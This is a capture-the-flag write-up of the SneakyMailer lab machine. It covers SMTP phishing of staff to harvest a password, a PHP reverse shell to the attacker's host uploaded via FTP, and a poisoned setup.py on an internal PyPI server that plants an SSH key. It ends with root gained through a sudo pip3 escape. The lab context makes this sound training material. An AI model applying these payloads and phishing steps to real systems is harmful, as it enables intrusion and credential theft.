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# SneakyMailer Writeup
![](img/58.png)
## Introduction :
SneakyMailer is a Medium Linux box released back in July 2020.
## **Part 1 : Initial Enumeration**
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
[ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
→ nmap -vvv -p- 10.10.10.197 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
Discovered open port 25/tcp on 10.10.10.197
Discovered open port 8080/tcp on 10.10.10.197
Discovered open port 80/tcp on 10.10.10.197
Discovered open port 143/tcp on 10.10.10.197
Discovered open port 22/tcp on 10.10.10.197
Discovered open port 21/tcp on 10.10.10.197
Discovered open port 993/tcp on 10.10.10.197
[ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
→ nmap -sCV -p25,8080,80,143,22,212,993 10.10.10.197
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-26 18:26 CEST
Nmap scan report for 10.10.10.197
Host is up (0.47s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
| 256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_ 256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
143/tcp open imap Courier Imapd (released 2018)
|_imap-capabilities: ACL QUOTA IDLE CAPABILITY ENABLE completed UIDPLUS ACL2=UNION THREAD=REFERENCES NAMESPACE SORT OK STARTTLS UTF8=ACCEPTA0001 THREAD=ORDEREDSUBJECT IMAP4rev1 CHILDREN
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
212/tcp closed anet
993/tcp open ssl/imap Courier Imapd (released 2018)
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open http nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host: debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.99 seconds
## **Part 2 : Getting User Access**
Our nmap scan picked up the **sneakycorp.htb** domain name so let's add it to our hosts file:
[ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
→ sudo -i
[sudo] password for nothing:
┌──(root💀nowhere)-[~]
└─# echo '10.10.10.197 sneakycorp.htb' >> /etc/hosts
┌──(root💀nowhere)-[~]
└─# ping -c1 sneakycorp.htb
PING sneakycorp.htb (10.10.10.197) 56(84) bytes of data.
64 bytes from sneakycorp.htb (10.10.10.197): icmp_seq=1 ttl=63 time=466 ms
--- sneakycorp.htb ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 466.380/466.380/466.380/0.000 ms
┌──(root💀nowhere)-[~]
└─# exit
[ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
→
Now let's inspect it from the web browser:
![](prg/58_001.png)
There is a hint about the use of **pypi** on the servers, when we take a look at the other php webpage we see that there is a list of potential usernames along with their emails:
![](prg/58_002.png)
We're going to save all the emails locally using curl:
[ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
→ curl sneakycorp.htb/team.php 2>/dev/null | grep sneakymailer.htb | tr -d ' ' | cut -c 5- | rev | cut -c 6- | rev > emails
[ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
→ cat emails
tigernixon@sneakymailer.htb
garrettwinters@sneakymailer.htb
ashtoncox@sneakymailer.htb
cedrickelly@sneakymailer.htb
airisatou@sneakymailer.htb
briellewilliamson@sneakymailer.htb
herrodchandler@sneakymailer.htb
rhonadavidson@sneakymailer.htb
colleenhurst@sneakymailer.htb
sonyafrost@sneakymailer.htb
jenagaines@sneakymailer.htb
quinnflynn@sneakymailer.htb
chardemarshall@sneakymailer.htb
haleykennedy@sneakymailer.htb
tatyanafitzpatrick@sneakymailer.htb
michaelsilva@sneakymailer.htb
[...]
Now let's use gobuster to enumerate other vhosts on the machine:
[ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
→ gobuster vhost -u http://sneakycorp.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://sneakycorp.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/06/26 18:38:01 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.sneakycorp.htb (Status: 200) [Size: 13742]
We found **dev.sneakycorp.htb** so we add it to our hosts file like we did previously, and then we take a look at the SMTP port 25 using netcat:
[ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
→ nc -nv 10.10.10.197 25
(UNKNOWN) [10.10.10.197] 25 (smtp) open
V220 debian ESMTP Postfix (Debian/GNU)
VRFY cedrickelly@sneakymailer.htb
252 2.0.0 cedrickelly@sneakymailer.htb
VRFY angelicaramos@sneakymailer.htb
252 2.0.0 angelicaramos@sneakymailer.htb
VRFY nihilist@sneakymailer.htb
550 5.1.1 <****nihilist@sneakymailer.htb>: Recipient address rejected: User unknown in virtual mailbox table
Basically here we see that the emails we got earlier are all valid **(252 2.0.0)** for this SMTP server. Now you probably guessed it from the box's logo, this is about phishing. We can send a phishing email with a link to our machine using this SMTP service. We do the following:
[ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
→ nc -nv 10.10.10.197 25
(UNKNOWN) [10.10.10.197] 25 (smtp) open
HELO 10.10.10.197
220 debian ESMTP Postfix (Debian/GNU)
250 debian
MAIL FROM: nihilist@sneakymailer.htb
250 2.1.0 Ok
RCPT TO: ashtoncox@sneakymailer.htb
250 2.1.5 Ok
RCPT TO: tatyanafitzpatrick@sneakymailer.htb
250 2.1.5 Ok
[...]
RCPT TO: paulbyrd@sneakymailer.htb
250 2.1.5 Ok
DATA
354 End data with CR>LF>.CR>LF>
go visit my phishing website at http://10.10.14.11:8001
.
250 2.0.0 Ok: queued as 8C44F24667
That's how you do it manually. If we wanted we could have also did it automatically using **swaks**
swaks --server sneakycorp.htb --body "goto http://10.10.14.11:8001" --to tigernixon@sneakymailer.htb,garrettwinters@sneakymailer.htb,....,sulcud@sneakymailer.htb,donnasnider@sneakymailer.htb
And as we simply send our phishing email that way, and after a few seconds we end up getting a connection back to us on our fake website which was actually a simple netcat listener:
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/sneakymailer]
→ nc -lvnp 8001
listening on [any] 8001 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.197] 39692
POST / HTTP/1.1
Host: 10.10.14.11:8001
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded
firstName=Paul&lastName;=Byrd&email;=paulbyrd%40sneakymailer.htb&password;=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword;=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
We can url-decode it from burpsuite's repeater by selecting the text and hitting **CTRL+SHIFT+U** and we get the following:
firstName=Paul&lastName;=Byrd&email;=paulbyrd@sneakymailer.htb&password;=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword;=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
So we seem to have gotten credentials:
paulbyrd@sneakymailer.htb : ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
Let's use them to read paul's emails from the IMAP port:
[ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
→ nc -nv 10.10.10.197 143
(UNKNOWN) [10.10.10.197] 143 (imap2) open
* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS ENABLE UTF8=ACCEPT] Courier-IMAP ready. Copyright 1998-2018 Double Precision, Inc. See COPYING for distribution information.
a LOGIN paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
* OK [ALERT] Filesystem notification initialization error -- contact your mail administrator (check for configuration errors with the FAM/Gamin library)
a OK LOGIN Ok.
b LIST "" "*"
* LIST (\Unmarked \HasChildren) "." "INBOX"
* LIST (\HasNoChildren) "." "INBOX.Trash"
* LIST (\HasNoChildren) "." "INBOX.Sent"
* LIST (\HasNoChildren) "." "INBOX.Deleted Items"
* LIST (\HasNoChildren) "." "INBOX.Sent Items"
b OK LIST completed
c STATUS "INBOX" MESSAGES
* STATUS "INBOX" (MESSAGES 0)
c OK STATUS Completed.
d STATUS "INBOX.Trash" MESSAGES
* STATUS "INBOX.Trash" (MESSAGES 0)
d OK STATUS Completed.
e STATUS "INBOX.Sent Items" MESSAGES
* STATUS "INBOX.Sent Items" (MESSAGES 2)
e OK STATUS Completed.
f SELECT "INBOX.Sent Items"
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited
* 2 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 589480766] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
f OK [READ-WRITE] Ok
h FETCH 1 BODY[]
* 1 FETCH (BODY[] {2167}
MIME-Version: 1.0
To: root
From: Paul Byrd
Subject: Password reset
Date: Fri, 15 May 2020 13:03:37 -0500
Importance: normal
X-Priority: 3
Content-Type: multipart/alternative;
boundary="_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_"
--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="utf-8"
Hello administrator, I want to change this password for the developer accou=
nt
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
Please notify me when you do it=20
--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="utf-8"
@font-face
{font-family:"Cambria Math";
panose-1:2 4 5 3 5 4 6 3 2 4;}
@font-face
{font-family:Calibri;
panose-1:2 15 5 2 2 2 4 3 2 4;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{margin:0in;
margin-bottom:.0001pt;
font-size:11.0pt;
font-family:"Calibri",sans-serif;}
.MsoChpDefault
{mso-style-type:export-only;}
@page WordSection1
{size:8.5in 11.0in;
margin:1.0in 1.0in 1.0in 1.0in;}
div.WordSection1
{page:WordSection1;}
-->
Hello administrator, I want to chang=
e this password for the developer account
&nbs;=
p;
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
Please notify me when you do i=
t
=
--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_--
)
h OK FETCH completed.
i FETCH 2 BODY[]
* 2 FETCH (BODY[] {585}
To: low@debian
From: Paul Byrd
Subject: Module testing
Message-ID: <4d08007d-3f7e-95ee-858a-40c6e04581bb@sneakymailer.htb>
Date: Wed, 27 May 2020 13:28:58 -0400
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Thunderbird/68.8.0
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Language: en-US
Hello low
Your current task is to install, test and then erase every python module you
find in our PyPI service, let me know if you have any inconvenience.
)
i OK FETCH completed.
So now we have other credentials **developer:m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C**. We use these credentials on the FTP service:
[ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer]
→ ftp 10.10.10.197
Connected to 10.10.10.197.
220 (vsFTPd 3.0.3)
Name (10.10.10.197:nothing): **developer**
331 Please specify the password.
Password: **m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C**
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x 8 0 1001 4096 Jun 30 2020 dev
226 Directory send OK.
ftp> cd dev
250 Directory successfully changed.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x 8 0 1001 4096 Jun 30 2020 .
drwxr-xr-x 3 0 0 4096 Jun 23 2020 ..
drwxr-xr-x 2 0 0 4096 May 26 2020 css
drwxr-xr-x 2 0 0 4096 May 26 2020 img
-rwxr-xr-x 1 0 0 13742 Jun 23 2020 index.php
drwxr-xr-x 3 0 0 4096 May 26 2020 js
drwxr-xr-x 2 0 0 4096 May 26 2020 pypi
drwxr-xr-x 4 0 0 4096 May 26 2020 scss
-rwxr-xr-x 1 0 0 26523 May 26 2020 team.php
drwxr-xr-x 8 0 0 4096 May 26 2020 vendor
And apparently we get access to the **dev.sneakycorp.htb** subdomain webservice root folder using developer's credentials on FTP. so let's put a reverse php shell there:
[terminal 1]
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/sneakymailer]
→ vim rev.php
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/sneakymailer]
→ cat rev.php
<****?php
exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.11/9001 0>&1'");
?>
[terminal2]
ftp> put rev.php
local: rev.php remote: rev.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
77 bytes sent in 0.00 secs (2.7197 MB/s)
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x 8 0 1001 4096 Jun 26 13:43 .
drwxr-xr-x 3 0 0 4096 Jun 23 2020 ..
drwxr-xr-x 2 0 0 4096 May 26 2020 css
drwxr-xr-x 2 0 0 4096 May 26 2020 img
-rwxr-xr-x 1 0 0 13742 Jun 23 2020 index.php
drwxr-xr-x 3 0 0 4096 May 26 2020 js
drwxr-xr-x 2 0 0 4096 May 26 2020 pypi
--wxrw-rw- 1 1001 1001 77 Jun 26 13:43 rev.php
drwxr-xr-x 4 0 0 4096 May 26 2020 scss
-rwxr-xr-x 1 0 0 26523 May 26 2020 team.php
drwxr-xr-x 8 0 0 4096 May 26 2020 vendor
226 Directory send OK.
note: the reverse php shell we upload gets cleaned up very often so we need to upload the shell and immediately browse to it to trigger the reverse shell:
[terminal 1]
ftp> put rev.php
local: rev.php remote: rev.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
77 bytes sent in 0.00 secs (2.3688 MB/s)
[terminal 2]
[ 10.10.14.11/23 ] [ /dev/pts/23 ] [~/HTB/sneakymailer]
→ curl http://dev.sneakycorp.htb/rev.php
[terminal 3]
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/sneakymailer]
→ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.197] 60378
bash: cannot set terminal process group (651): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$
And we get a reverse shell as www-data! now let's upgrade the reverse shell to a fully interactive TTY:
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ which python python3 wget curl
/usr/bin/python
/usr/bin/python3
/usr/bin/wget
/usr/bin/curl
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ ^Z
[1] + 1545495 suspended nc -lvnp 9001
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/sneakymailer]
→ stty raw -echo ; fg
[1] + 1545495 continued nc -lvnp 9001
export TERM=screen-256color
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ export SHELL=bash
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ stty rows 50 columns 200
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ reset
Now that we have a fully interactive TTY we try to privesc to the developer user:
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ su - developer
Password:
developer@sneakymailer:~$ id
uid=1001(developer) gid=1001(developer) groups=1001(developer)
developer@sneakymailer:~$ ls -lash
total 12K
4.0K drwxr-xr-x 3 root root 4.0K Jun 23 2020 .
4.0K drwxr-xr-x 6 root root 4.0K May 14 2020 ..
4.0K drwxrwxr-x 8 root developer 4.0K Jun 26 13:46 dev
developer@sneakymailer:~$ ls -lash /home/*
/home/low:
total 48K
4.0K drwxr-xr-x 8 low low 4.0K Jun 8 2020 .
4.0K drwxr-xr-x 4 root root 4.0K May 14 2020 ..
0 lrwxrwxrwx 1 root root 9 May 19 2020 .bash_history -> /dev/null
4.0K -rw-r--r-- 1 low low 220 May 14 2020 .bash_logout
4.0K -rw-r--r-- 1 low low 3.5K May 14 2020 .bashrc
4.0K drwxr-xr-x 3 low low 4.0K May 16 2020 .cache
4.0K drwx------ 3 low low 4.0K May 14 2020 .gnupg
4.0K drwxr-xr-x 3 low low 4.0K May 16 2020 .local
4.0K dr-x------ 2 low low 4.0K May 16 2020 .pip
4.0K -rw-r--r-- 1 low low 807 May 14 2020 .profile
4.0K drwxr-xr-x 2 low low 4.0K Jun 8 2020 .ssh
4.0K -rwxr-x--- 1 root low 33 Jun 26 12:31 user.txt
4.0K drwxr-xr-x 6 low low 4.0K May 16 2020 venv
ls: cannot open directory '/home/vmail': Permission denied
developer@sneakymailer:~$ cat /home/low/user.txt
cat: /home/low/user.txt: Permission denied
We managed to privesc to the developer user, but we don't have enough privileges to get the user flag yet. To continue we need to take a look at the other websites on the machine, we do that by going to the parent directory:
developer@sneakymailer:~$ pwd
/var/www/dev.sneakycorp.htb
developer@sneakymailer:~$ cd ..
developer@sneakymailer:/var/www$ ls -lash
total 24K
4.0K drwxr-xr-x 6 root root 4.0K May 14 2020 .
4.0K drwxr-xr-x 12 root root 4.0K May 14 2020 ..
4.0K drwxr-xr-x 3 root root 4.0K Jun 23 2020 dev.sneakycorp.htb
4.0K drwxr-xr-x 2 root root 4.0K May 14 2020 html
4.0K drwxr-xr-x 4 root root 4.0K May 15 2020 pypi.sneakycorp.htb
4.0K drwxr-xr-x 8 root root 4.0K Jun 23 2020 sneakycorp.htb
We already know the websites there except for **pypi.sneakycorp.htb** so let's take a look at it:
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ clear
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ ls -lash
total 20K
4.0K drwxr-xr-x 4 root root 4.0K May 15 2020 .
4.0K drwxr-xr-x 6 root root 4.0K May 14 2020 ..
4.0K -rw-r--r-- 1 root root 43 May 15 2020 .htpasswd
4.0K drwxrwx--- 2 root pypi-pkg 4.0K Jun 30 2020 packages
4.0K drwxr-xr-x 6 root pypi 4.0K May 14 2020 venv
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ cat .htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
So here we get the pypi user's password hash, we crack it locally using john:
[ 10.10.14.11/23 ] [ /dev/pts/23 ] [~/HTB/sneakymailer]
→ john -w=/usr/share/wordlists/rockyou.txt pypi-htpasswd.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
soufianeelhaoui ()
1g 0:00:00:23 DONE (2021-06-26 20:02) 0.04239g/s 151516p/s 151516c/s 151516C/s soul17soul17..souderton16
Use the "--show" option to display all of the cracked passwords reliably
Session completed
And now we got the credentials **pypi:soufianeelhaoui**. We can use them to take a look at **:8080/packages/** and **:8080/simple/** but both pages are basically blank. After a bit of googling we stumble upon [this](https://pypiserver.readthedocs.io/en/latest/README.html#uploading-packages-from-sources-remotely) article which details how to upload a package to the server. to do so we need to create a **.pypirc** file in the home directory of our local machine:
[ 10.10.14.11/23 ] [ /dev/pts/16 ] [~/HTB/sneakymailer]
→ vim ~/.pypirc
[ 10.10.14.11/23 ] [ /dev/pts/16 ] [~/HTB/sneakymailer]
→ cat ~/.pypirc
[distutils]
index-servers = internal
[internal]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui
We also need to create a **setup.py** file that will be executed so that we can write our public key in **/home/low/.ssh/authorized_keys** over on the box:
[ 10.10.14.11/23 ] [ /dev/pts/16 ] [~/HTB/sneakymailer]
→ cat ~/.pypirc
[distutils]
index-servers = internal
[internal]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui
[ 10.10.14.11/23 ] [ /dev/pts/16 ] [~/HTB/sneakymailer]
→ cat setup.py
from setuptools import setup, find_packages
try:
with open('/home/low/.ssh/authorized_keys','a') as f:
f.write("ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAfhgjcMFy5mO4fwhQyW6vdX5bgTzqZTh9MhCW7+k6Sj nothing@nowhere")
f.close()
except:
pass
setup(
name="HelloWorld",
version="0.1",
packages=find_packages(),
)
So we run it and ssh as low on the box:
[terminal 1]
[ 10.10.14.11/23 ] [ /dev/pts/16 ] [~/HTB/sneakymailer]
→ python3 setup.py sdist upload -r internal
running sdist
running egg_info
writing HelloWorld.egg-info/PKG-INFO
writing dependency_links to HelloWorld.egg-info/dependency_links.txt
writing top-level names to HelloWorld.egg-info/top_level.txt
reading manifest file 'HelloWorld.egg-info/SOURCES.txt'
writing manifest file 'HelloWorld.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md
running check
warning: check: missing required meta-data: url
warning: check: missing meta-data: either (author and author_email) or (maintainer and maintainer_email) should be supplied
creating HelloWorld-0.1
creating HelloWorld-0.1/HelloWorld.egg-info
copying files to HelloWorld-0.1...
copying setup.py -> HelloWorld-0.1
copying HelloWorld.egg-info/PKG-INFO -> HelloWorld-0.1/HelloWorld.egg-info
copying HelloWorld.egg-info/SOURCES.txt -> HelloWorld-0.1/HelloWorld.egg-info
copying HelloWorld.egg-info/dependency_links.txt -> HelloWorld-0.1/HelloWorld.egg-info
copying HelloWorld.egg-info/top_level.txt -> HelloWorld-0.1/HelloWorld.egg-info
Writing HelloWorld-0.1/setup.cfg
Creating tar archive
removing 'HelloWorld-0.1' (and everything under it)
running upload
Submitting dist/HelloWorld-0.1.tar.gz to http://pypi.sneakycorp.htb:8080
Server response (200): OK
[terminal 2]
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/sneakymailer]
→ ssh low@sneakycorp.htb -i ~/.ssh/mainpc
The authenticity of host 'sneakycorp.htb (10.10.10.197)' can't be established.
ECDSA key fingerprint is SHA256:I1lCFRteozDGkqC/ZSE2SbHl8ISpJWhfu5nwn6LxbA0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'sneakycorp.htb,10.10.10.197' (ECDSA) to the list of known hosts.
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Tue Jun 9 03:02:52 2020 from 192.168.56.105
low@sneakymailer:~$ id
uid=1000(low) gid=1000(low) groups=1000(low),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),119(pypi-pkg)
low@sneakymailer:~$ cat user.txt
9eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it! We managed to get the user flag.
## **Part 3 : Getting Root Access**
Now in order to privesc to the root user we take a look at what the user can run as sudo:
low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User low may run the following commands on sneakymailer:
(root) NOPASSWD: /usr/bin/pip3
and here we see that pip3 can be ran as root without any password, so we can use this [gtfobin](https://gtfobins.github.io/gtfobins/pip/#sudo):
low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ sudo /usr/bin/pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.D7Gn5vYpTY
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
d2XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it! We managed to get to the root user and get the root flag.
## **Conclusion**
Here we can see the progress graph :
![](img/58_graph.png)